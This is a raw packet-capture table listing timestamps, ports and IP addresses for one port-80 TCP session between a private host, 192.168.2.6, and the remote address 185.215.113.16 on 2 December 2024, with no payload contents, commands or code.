Dec 2, 2024 07:38:09.829238892 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.830240965 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.830290079 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.830477953 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.830564976 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.831368923 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.831425905 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.831628084 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.831682920 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.832420111 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.832432985 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.832465887 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.832480907 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.833369970 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.834502935 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.834536076 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.834558010 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.834559917 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.834579945 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.834618092 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.836551905 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.836631060 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.836642981 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.836653948 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.836677074 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.836692095 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.837613106 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.837929010 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.837975025 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.838738918 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.838749886 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.838793039 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.839771032 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.839785099 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.839817047 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.839849949 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.840797901 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.840847969 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.841854095 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.841866970 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.841880083 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.841898918 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.841912985 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.842883110 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.843028069 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.843076944 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.843933105 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.843974113 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.844597101 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.846551895 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.959460974 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.959664106 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.959739923 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.960021973 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.960032940 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.960078955 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.961150885 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.961191893 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.961395979 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.962069988 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.962115049 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.984662056 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.984724045 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.984910011 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.984957933 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.985183954 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.985411882 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.985464096 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.986257076 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.986320019 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.986375093 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.987448931 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.988013029 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.988060951 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.988352060 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.989362001 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.989403963 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.989418030 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.989450932 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.989464045 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.989478111 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.990540028 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.990670919 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.991142988 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.991292000 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.991530895 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.991575003 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.991924047 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.992186069 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.992774010 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.992836952 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.993710995 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.993721962 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.993782997 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.993823051 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.993835926 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.994677067 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.994867086 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.994930029 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.995779037 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.996241093 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.996311903 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.996829033 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.996840954 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.996880054 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.996905088 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.997905970 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.997917891 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.997961044 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.997982979 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.999209881 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.999255896 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:09.999257088 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.999294043 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:09.999965906 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.000017881 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.000044107 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.000091076 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.001023054 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.001074076 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.001298904 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.002078056 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.002161980 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.003166914 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.003176928 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.003211021 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.003247976 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.004234076 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.004264116 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.004276991 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.005340099 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.005351067 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.005362034 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.005433083 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.005475998 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.006519079 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.006576061 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.007210970 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.007258892 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.007384062 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.007396936 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.007514954 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.008440018 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.009249926 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.009311914 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.009463072 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.009516001 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.009562969 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.010613918 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.010762930 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.010801077 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.010942936 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.011645079 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.011656046 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.011775017 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.012660027 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.012710094 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.013225079 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.013268948 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.013926029 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.013972998 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.014014959 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.014522076 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.014780998 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.014826059 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.015245914 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.015297890 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.015877008 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.015888929 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.015932083 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.016902924 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.016915083 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.016971111 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.017970085 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.018038034 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.018070936 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.018152952 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.018994093 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.019007921 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.019049883 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.020108938 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.020188093 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.020219088 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.020278931 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.021097898 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.021116972 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.021156073 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.021171093 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.022243023 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.022510052 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.022542000 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.022557020 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.023375034 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.023435116 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.024303913 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.024315119 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.024346113 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.024358988 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.024391890 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.025343895 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.025393009 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.025561094 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.025597095 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.026408911 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.026420116 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.026467085 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.027455091 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.027503014 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.027904987 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.028342962 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.028541088 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.028553009 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.028587103 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.028606892 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.029584885 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.029639959 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.030648947 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.030659914 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.030683041 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.030706882 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.030725956 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.031687021 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.031759977 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.031827927 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.031872034 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.032917023 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.032973051 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.033124924 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.033170938 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.033821106 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.033833027 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.033879042 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.035023928 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.035083055 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.035160065 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.035269022 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.035959959 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.035969973 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.036001921 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.036015987 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.151468992 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.151537895 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.151614904 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.151663065 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.151990891 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.152090073 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.152271032 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.152328968 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.153094053 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.153145075 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.153172016 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.153218031 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.154239893 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.154294968 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.176675081 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.176821947 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.176841021 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.176904917 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.177196026 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.177246094 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.177638054 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.177687883 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.179002047 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.179049969 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.179385900 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.179435015 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.180099964 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.180233955 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.180485010 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.180551052 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.181744099 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.181793928 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.182383060 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.182393074 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.182404041 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.182445049 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.182476044 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.183366060 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.183420897 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.183796883 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.183875084 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.184223890 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.184273958 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.184343100 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.184386969 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.184840918 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.184851885 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.184889078 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.184911966 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.185682058 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.185693026 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.185739040 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.186712980 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.186904907 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.187033892 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.187086105 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.187764883 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.187825918 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.188159943 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.188230038 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.188858032 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.188868999 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.188915014 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.189881086 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.190002918 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.190462112 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.190517902 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.191039085 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.191050053 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.191106081 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.191123009 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.192004919 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.192071915 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.192718029 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.192768097 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.193049908 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.193341017 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.194094896 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.194137096 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.194147110 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.194169998 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.194189072 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.195185900 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.195251942 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.195333004 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.195382118 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.196235895 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.196321964 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.196363926 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.196448088 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.197307110 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.197455883 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.197906017 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.197989941 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.198329926 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.198371887 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.198378086 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.198421001 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.199409962 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.199466944 CET	49859	80	192.168.2.6	185.215.113.16
